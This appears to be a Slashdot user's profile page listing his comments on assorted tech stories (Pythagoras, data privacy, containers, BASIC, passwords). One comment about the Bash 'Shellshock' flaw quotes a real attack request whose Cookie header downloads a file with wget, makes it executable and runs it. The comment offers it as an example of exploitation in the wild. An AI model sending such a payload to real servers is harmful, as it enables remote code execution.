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Fields Medal Winner Manjul Bhargava On the Pythagorean Theorem Controversy

xanthos Re:India? I don't think so... (187 comments)

Pythagoras imposed his quasi-religious philosophies... about never urinating towards the sun...

That was a translation error. What he actually said is you don't piss against the wind.

Where are my mod points when I need them!

about two weeks ago

CES 2015: FTC Head Warns About Data Grabbed By Smart Gadgets

xanthos On the Internet, no one knows that you are a dog (62 comments)

Really people? Your lives are so fascinating that you need to keep the details away from the digital paparazzi? Mine sure isn't.

Here is my take on what is going on here. First, the government doesn't care. Have you heard about the huge number of people arrested for having pictures on Facebook showing drug use? No? Well that is because it's not a threat to the greater good and not worth the time and effort to prosecute. Not even a cursory email saying to clean up your act or we will send you a more strongly worded email. Many of us may have dissident thoughts but we don't do dissident acts and are mostly harmless. So that leaves the Big Business boogie man with a financial motive. In the beginning there was the trifecta of terror, the credit rating agencies. They, with their magical patented Fair Issac scoring formula, have claimed for years that those numbers offer a glimpse into a persons soul. And they basically market it as such even when the intended use is based more on correlation than causation. As evidence I present the recent use of credit scores by insurance companies. My credit score has never been affected by my driving history, so why should my car insurance rates be based on my credit score? In my case I was given the option of allowing it or not. Allowing it could have saved me as much as 3%!, or cost me more, in any case the amount did not benefit me enough to make it worth my while. Same with the followup offer to install their OBD digital spy.

There are a bunch of people who think they can make a fortune collecting other peoples data. Reality is that most of that data is mundane garbage that has very little value to it. Much like the millions and millions of credit card numbers that have been compromised. Collecting the information is easy, monetizing it is hard.

about three weeks ago

CoreOS Announces Competitor To Docker

xanthos Have we come full circle? (71 comments)

I can't shake the feeling that I've seen this movie before, I think it was called "statically linked executables" where all the code needed to run the application resided in one place. Then as the executables got more complex they got much larger, consumed more resources, and large parts of each executable was redundant with each other. Hence static executables were superceded by "dynamically linked executables" which pulled out the redundancies into general purpose libraries that existed in only one place which led to dll version hell. So now we have containers which allows an application to be bundled up with just the code it needs to execute.

And yes, containers have more capabilities than simply isolating the code. However I would argue that code isolation is the primary use of containers.

I have a prediction, that by the end of 2015 we will see one of the container vendors offer a version that allows for "code sharing" between a master image and the individual containers in order to cut down on redundancy. Full Circle++.

about 2 months ago

Duke: No Mercy For CS 201 Cheaters Who Don't Turn Selves In By Wednesday

xanthos Beware of the Dark Side! (320 comments)

Luke: Is the dark side stronger?
Yoda: No, no, no. Quicker, easier, more seductive.

In so many subject areas you have the option of the quick and easy way or the more thorough slog through the fundamentals. Unfortunately, when you are young, the long term advantages of mastering the fundamentals is lost when compared to the short term gratification of getting an assignment done.

There have been many discussions here on Slashdot regarding the issues caused by people who do not understand the fundamentals of their jobs. Coders who cannot code efficiently because they do not understand what makes code inefficient or efficient or how to test for potential improvements. Personally I am aghast at the number of web developers I have run into who are clueless when it comes to networking. Since they have libraries and frameworks for that they don't feel the need to personally understand it. Don't even get me started on the horrible, horrible SQL queries I have seen. There is only so much optimization that can be done on the backend by the optimizing routines written by people who do know the fundamentals.

In the end, too many students seem to not understand the purpose of an "Education" and have confused it with its simpler cousin, "Job training".

about 2 months ago

BitHammer, the BitTorrent Banhammer

xanthos So the REAL problem is ... (429 comments)

1) ignorant bit torrent user who doesn't know how to configure their software to play nice in public
2) ignorant free wifi supplier who doesn't know how to configure their router for QOS
3) ignorant noob who relies on there being free wifi in order to do his job

There is a reason I've used this sig for years.

about 4 months ago

The Greatest Keyboard Ever Made

xanthos Built like a Battleship (304 comments)

The steel construction of the Model M is a thing of beauty. And the weight keeps the cat from knocking it off my desk.

about 4 months ago

Michigan Builds Driverless Town For Testing Autonomous Cars

xanthos Will there be roundabouts? (86 comments)

I was in Carmel Indiana, a northern Indianapolis suburb, last week. Since the 1990's they have been replacing all of the main intersections with roundabouts. They have over 60 of them now.

While roundabouts have been proven to be safer for average drivers, how easy are they for autonomous vehicles to navigate vs your standard intersection? Is a roundabout an asset to the adoption of autonomous vehicles, a hinderance or a wash?

about 4 months ago

Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

xanthos Yes it is being exploited (318 comments)

There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

An example attack:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.;.chmod.777./tmp/besh;./tmp/besh;

Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

about 4 months ago

My resting heart rate:

xanthos Right or Left? (169 comments)

Where is the Gallifreian option?

about 4 months ago

Tech Looks To Obama To Save Them From 'Just Sort of OK' US Workers

xanthos Outsource Joe Green (441 comments)

Hey Zuck! There is a whole army of non-US Ivy league MBA's who will be more than happy to produce the same BS as Joe Green for a fraction of the cost. Don't you want to work with the "Best"? Doesn't Joe Green want you to?

about 5 months ago

Adobe Creative Cloud Is Back

xanthos Adobe better take a look at their SLA (74 comments)

If one of our sites was down for as long as Adobe's was, heads would roll.

What took so long to restore? Crappy process for restoring server images or recovering a database?

Or, as others have speculated, was there a security breach and they couldn't bring it back up until all the evidence was gathered and the vulnerability was closed.

Oh wait, this is Adobe we are talking about. Their code doesn't have vulnerabilities.

about 8 months ago

50 Years of BASIC, the Language That Made Computers Personal

xanthos Re:LISP instead! (224 comments)

LISP - Lots of InSipid Parenthesis

about 9 months ago

Born To RUN: Dartmouth Throwing BASIC a 50th B-Day Party

xanthos Remember, the B in BASIC is for Beginners (146 comments)

Surprised at the number of hateful comments regarding BASIC. Even when it was created it was aimed at novices not experts, hence the name: Beginners All-purpose Symbolic Instruction Code. The true value was that the simple syntax made learning programming concepts much simpler. I used to teach a beginning programming class in the 80's that used BASIC. I always felt that I was able to instill a better understanding of what was going on with the simple Line # VERB parameter syntax of the early language. Breaking things down only four Verb types ( Definition, Assignment, I/O, Control) , the operators, and the two type of variables/constants (string/numeric). That's all there is folks. Would I want to try and write a compiler in it, no, but that is not what the language was written for.

Dinosaur trivia points: why do loops commonly use the variable i. (Hint: int does not stand for index.)

about 10 months ago

Ask Slashdot: How To Reimagine a Library?

xanthos Puzzles! (231 comments)

Puzzles, puzzles and more puzzles! Number puzzles, word puzzles, shape puzzles! Tangram! Origami!

Things that make you think! Things that give you a sense of accomplishment when completed! Things that make you feel as smart as you are!


1 year,3 days

Hacker Says He Could Access 70,000 Healthcare.Gov Records In 4 Minutes

xanthos healthcare.gov or Nieman Marcus (351 comments)

somehow I don't think that a group of people looking for government subsidies for their healthcare represent the best targets for identity fraud.

1 year,5 days

Why People Are So Bad At Picking Passwords

xanthos False Conclusion (299 comments)

I hate studies like this. Do people pick common passwords, of course they do. Does everyone pick an easy to guess password, of course not. Can it be blindly determined, for any given user, if their password is "simple" or "complex"? No.

The article puts the blame on the end user, when the truth is the problem is with the websites storing the passwords in plain text or as un-salted hashes and not locking out brute force attacks. What the researchers are really arguing is that
    1) your account may be compromised if hackers break into the website and steal all the passwords.
    2) your password might be easier to guess if it is related to you, hackers are targeting you personally (not likely), and the website doesn't lock the account out.

Don't blame the user, blame the developers and administrators for being lazy and/or inept and failing to protect people from themselves.

about a year ago

My NSA-induced paranoia level:

xanthos The Marketers are who scare me (290 comments)

I'm too small a fish for the NSA to care,

It's the marketing people who will correlate every facet of my life in an attempt to wrest every last penny from my fingers that scare me the most.

about a year and a half ago

How Did You Learn How To Program?

xanthos Ollevetti! (623 comments)

I started about the same time on a Ollevetti 401 I believe. A glorified numeric key pad for input and a red light, a green light and a cash register style tape for output.

I believe you will never really understand how a computer works until you have done two things:
built a compiler/parser and have done machine language programming (which was what you did with the 401).

about a year and a half ago

Average latency to Slashdot.org?

xanthos TOR! (558 comments)

varies depending upon the exit node.

about 2 years ago



Space vehicle unveiled at EAA

xanthos xanthos writes  |  more than 5 years ago

xanthos writes "Sir Richard Branson was at the annual Experimental Aircraft Assoc Fly-in to show off EVE (previously known as White Knight Two), the launch vehicle for Virgin Galactic's commercial space operation. Test flights for SpaceShipTwo are slated for next year with the first paying passenger's going up in 2011.

What surprised me was the following from the article:

"So many people have signed up already, Whitehorn said, that the company has collected $40 million in deposits with orders to build five spaceships to meet the demand."

Will this mean that the $200k price tag may be dropping?"

Link to Original Source


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